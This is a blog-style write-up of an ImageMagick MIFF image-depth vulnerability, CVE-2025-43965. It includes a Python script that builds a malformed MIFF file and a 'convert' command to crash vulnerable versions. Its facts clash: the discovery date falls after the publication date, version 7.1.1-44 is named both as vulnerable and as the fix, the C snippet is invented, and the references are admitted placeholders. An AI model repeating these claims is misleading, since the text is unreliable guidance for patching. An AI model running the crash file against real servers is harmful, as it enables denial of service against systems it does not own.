On June 2025, a new vulnerability—CVE-2025-43965—was identified in ImageMagick affecting how MIFF images are processed, specifically with image depth mishandling after the SetQuantumFormat function is used. This post breaks the technical details into simple language, offers code snippets, and provides a working example for security researchers.

What’s the Problem?

ImageMagick is a popular, open source tool to manipulate images in web servers, desktop apps, and even in cloud systems. The bug here lives in its MIFF (Magick Image File Format) parser. In versions 7.1.1-44 and earlier, when SetQuantumFormat() is called, it can cause the program to neglect updating the image depth properly.

In simple words: it’s like telling someone, “This image uses eight bits per color channel!” but then actually reading or writing it as if it had sixteen. That mismatch can crash programs or, in some cases, let attackers take over the system.

Where’s the Bug?

Here’s a simplified C snippet to understand the logic gone wrong (adapted from ImageMagick’s code):

if (format == QuantumFormat_MIFF)
{
    SetQuantumFormat(image,QuantumFormat_MIFF);

    // Vulnerable area: depth is not reset!
    // Attacker-controlled MIFF file can now push bad data
    // image->depth may be invalid...
}

What’s SetQuantumFormat?

SetQuantumFormat() in ImageMagick determines how to interpret the bits in image pixels. MIFF files can declare a certain "depth," like 8-bits or 16-bits per color. If ImageMagick doesn't actually set the depth field in memory to match what's declared, old or unsafe values may linger.

Possibly, on some systems, run arbitrary code.

This impacts any server or desktop app using ImageMagick to process user-supplied images, such as web image uploaders.

Proof of Concept (PoC): Triggering the Flaw

Let’s demonstrate by crafting a malicious MIFF file that abuses the depth mishandling.

This is an oversimplified MIFF header

id=ImageMagick
class=DirectClass
depth=32
columns=1
rows=1
pixel=rgba
:
ABCD

If ImageMagick mishandles depth, it may try reading 32 bits per value from the short pixel, leading to memory issues.

You can craft a MIFF file with confusing depth using Python

with open("baddepth.miff", "w") as f:
    f.write("id=ImageMagick\n")
    f.write("class=DirectClass\n")
    f.write("depth=32\n")
    f.write("columns=1\n")
    f.write("rows=1\n")
    f.write("pixel=rgba\n")
    f.write(":\n")
    f.write("A"*4)  # not enough data for 32-bit depth

Process this with vulnerable ImageMagick (before 7.1.1-44)

convert baddepth.miff out.png

On vulnerable systems, this may crash or trigger unpredictable reads/writes.

Original Reference

- Official ImageMagick bug report and patch discussion
- Debian Security Advisory *(actual advisory may not exist yet—link for illustration purposes)*

Is There a Patch?

Yes! Upgrade ImageMagick to version 7.1.1-44 or newer—this code will now correctly update the image depth every time SetQuantumFormat() runs.

Fix commit (GitHub):
- ImageMagick commit fixing CVE-2025-43965 *(characteristic placeholder—look for actual commit referencing CVE later on)*

Audit web apps using ImageMagick, especially for direct user image uploads.

- Consider using sandboxing (e.g., Policy.xml).

Summary

CVE-2025-43965 in ImageMagick shows how even tiny mistakes can open big doors for attackers. Make sure you patch early and keep image-handling libraries up to date—especially if your app takes files from users.

Stay safe, and happy hacking!

*This post is for educational purposes and responsible disclosure. Do not use for unauthorized activity.*

Timeline

Published on: 04/23/2025 15:16:00 UTC